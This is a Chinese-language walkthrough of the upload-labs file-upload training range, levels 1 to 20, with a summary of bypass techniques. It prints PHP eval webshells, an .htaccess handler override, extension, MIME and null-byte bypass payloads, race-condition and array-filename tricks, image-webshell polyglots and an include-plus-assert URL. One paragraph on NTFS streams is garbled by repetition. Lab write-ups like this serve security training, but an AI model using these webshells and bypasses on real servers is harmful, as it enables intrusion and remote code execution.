# 第 1 关
通过流量信息发现,是前端验证,禁用 js ,成功上传 webshell
# 第 2 关
通过抓包,发现修改 mime 类型为 image/png ,可绕过限制
# 第 3 关
黑名单限制,用 php3/4/5,phtml 均可绕过。
其中 phtml 的格式为
GIF89a? <script language="php">eval($_REQUEST[cmd])</script> |
# 第 4 关
传入.htaccess 文件修改配置
SetHandler application/x-httpd-php
传入图片马,即可解析为 php,连接 shell 就可以
# 第 5 关
传入一句话木马,修改文件名,大小写绕过。
上传.phP ,绕过成功
# 第 6 关
利用 windows 特性。 后缀名添空格,绕过黑名单上传限制
linux 无法实现
# 第 7 关
利用 windows 特性。 后缀名添点,绕过黑名单上传限制
linux 无法实现
# 第 8 关
文件后缀 + ::$DATA 绕过
网上说是 windows 特性,但事实证明,linux 下也可以使用
# 第 9 关
if (file_exists(UPLOAD_PATH)) { | |
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"); | |
$file_name = trim($_FILES['upload_file']['name']); | |
$file_name = deldot($file_name);// 删除文件名末尾的点 | |
$file_ext = strrchr($file_name, '.'); | |
$file_ext = strtolower($file_ext); // 转换为小写 | |
$file_ext = str_ireplace('::$DATA', '', $file_ext);// 去除字符串::$DATA | |
$file_ext = trim($file_ext); // 首尾去空 |
payload | |
09.php. . |
# 第 10 关
$file_name = trim($_FILES['upload_file']['name']); | |
$file_name = str_ireplace($deny_ext,"", $file_name); |
双写绕过 | |
shell.phphpp |
# 第 11 关
- 关键的代码在于这里的’save_path’是一个可控的变量,但是后面还拼接上一个后缀名,也需要绕过
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; |
- 这个时候可以使用 %00 截断,但这东西有点过气了,因为需要两个条件
php版本小于5.3.4 | |
php的magic_quotes_gpc为OFF状态 |
- 所以如果要绕过,我们可以这样去实现,令
save_path
等于../upload/11.php%00
# 第 12 关
php版本小于5.3.4 | |
php的magic_quotes_gpc为OFF状态 |
%00截断。同11关,只是这次要在POST内容改hex |
# 第 13 关
添加文件头,绕过限制。利用文件包含漏洞,进行 getshell
GIF89a<?php eval($_POST["cmd"]);?> |
# 第 14 关
上传图片马,配合解析漏洞 或 包含漏洞 |
# 第 15 关
上传图片马,配合解析漏洞 或 包含漏洞 |
# 第 16 关 二次渲染绕过
寻找图片上传之后,未被修改的地方,插入代码,再上传 |
# 第 17 关
$upload_file = UPLOAD_PATH . '/' . $file_name; | |
if(move_uploaded_file($temp_file, $upload_file)){ | |
if(in_array($file_ext,$ext_arr)){ | |
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; | |
rename($upload_file, $img_path); | |
$is_upload = true; | |
}else{ | |
$msg = "只允许上传.jpg|.png|.gif类型文件!"; | |
unlink($upload_file); | |
} | |
}else{ | |
$msg = '上传出错!'; | |
} |
条件竞争上传,先上传文件到服务器,再修改名字。条件竞争就可以上传php木马进去 |
# 第 18 关
条件竞争上传,快速提交的数据包,可以让文件名字不被重命名上传成功。然后利用Apache的解析漏洞,即可获得shell | |
遗憾的是,这个题目 并没有复现成功。 |
提示上传进去了,但是四处都找不到文件。
# 第 19 关
这一关正常做法应该是CVE-2015-2348 move_uploaded_file()00截断,上传webshell,同时自定义保存名称,上传的文件名用0x00绕过。改成xx.php【二进制00】jpg | |
move_uploaded_file()函数中的_img_path_是由post参数save_name控制的,因此可以在save_name利用00截断绕过 | |
利用windows特性,move_uploaded_file会忽略掉文件末尾的 /. | |
php小于5.3 %00截断 | |
条件苛刻,没有成功复现 |
# 第 20 关
代码审计后可以发现$file_name经过reset($file) . '.' . $file[count($file) - 1];处理。
如果上传的是数组的话,会跳过$file = explode('.', strtolower($file));。并且后缀有白名单过滤
而最终的文件名后缀取的是$file[count($file) - 1],因此我们可以让$file为数组。$file[0]为smi1e.php/,也就是reset($file),然后再令$file[2]为白名单中的jpg。
此时end($file)等于jpg,$file[count($file) - 1]为空。而 $file_name = reset($file) . '.' . $file[count($file) - 1];,也就是smi1e.php/.,最终move_uploaded_file会忽略掉/.,最终上传smi1e.php。
# 文件上传绕过总结
前端验证绕过
对于前端验证的校验,可以直接修改前端 js , 添加允许 PHP 扩展名。
或者上传.gif 文件然后用 burp 抓包,修改文件修改成 PHP。
mime 限制扩展名绕过
修改 concent-type
服务端黑名单校验后缀名的绕过
黑名单的意思就是服务端不允许哪些后缀名通过,但是存在一定的遗漏,可以尝试以下的后缀名,更改大小写或双写。
php php3-5 phtml PHP pHp phtm pphphp
jsp jspx jspf
asp aspx asa cer
exe exee
phtml 被解析的条件是 Apache 的配置文件中 AddYtpe 去掉 #号
伪静态文件绕过
先创建一个.htaccess 文件上传上去
写入 SetHandler application/x-httpd-php 这样所有上传的文件都可以用 php 来解析执行
再上传一个恶意代码的图片文件
访问上传图片,webshell 执行成功
Apache 的解析机制绕过
APACHE 默认文件名中可以带。号,当解析文件遇到。号时,从右至左依次解析。比如:test.php.xxx.aaa,.xxx 和.aaa 这两种后缀是 apache 不可识别解析,apache 就会把 test.php.xxx.aaa 解析成 test.php
利用 Windows 操作系统的特性绕过
Winserver 下的 xx.jpg [空格] 或 xx.jpg. 这两类文件都是不允许存在的,若这样命名,windows 会默认除去空格或点
所以可以利用 windows 默认取出后缀名的空格和点的特性,在上传文件后缀后面添加空格和点可以绕过。
利用 Windows 操作系统 NTFS 文件流格式的解析特性,在文件名后添加:: D A T A , 可 以 绕 过 。 虽 然 在 网 页 上 显 示 的 后 缀 是 带 有 : : DATA, 可以绕过。 虽然在网页上显示的后缀是带有:: DATA, 可以绕过。虽然在网页上显示的后缀是带有::DATA 的,但在系统里面就没有后面的符号了,可以直接访问。
服务端白名单校验后缀名的绕过
00 截断
主要存在于 PHP 5.3.4 以下的版本,通常存在于构造上传文件路径的时候。当服务器判断文件名后缀正常时,存入路径后便不再检查,这时候使用截断,服务器在存入路径的过程中识别到 00 后便抛去其后的字符。
通常使用 %00 或 16 进制 0x00 来截断。
服务器解析漏洞
iis5.x-6.x 版本,默认不解析;号后面的内容,因此 test.asp;.jpg 就被当成 asp 文件解析;
nginx,在 8.03 版本以下,并且配置文件中 cgi.fix_pathinfo 开启为 1,访问 www.xxx.com/shell.jpg/1.php 时,nginx 会将 shell.jpg 当做 shell.php 进行解析(其中 1.php 是一个随意构造的不存在的文件)。
结合文件包含绕过
制作图片马,利用文件包含的漏洞来执行,将 webshell 和图片合二为一。
copy x.jpg/b + shell.php/a shell.jpg
检验上传文件内容
超大内容绕过
有些主机 WAF 软件为了不影响 web 服务器的性能,会对校验的用户数据设置大小上限,前面 1M 的内容为垃圾内容,后面才是真正的木马内容,便可以绕过 WAF 对文件内容的校验。
二次渲染绕过
二次渲染指的是服务器对上传的文件进行重塑,会改变原有内容,上传失败。这种情况就需要比较上传前和上传后的文件 16 进制数据的差异,在上传前后均没有变化的数据位置加入恶意代码。
先用开源代码生成一个 1.png 文件,上传这个文件,被二次渲染并且改名为新的 18233.png。直接通过文件包含访问 /include.php?file=upload/18233.png&0=assert 执行成功。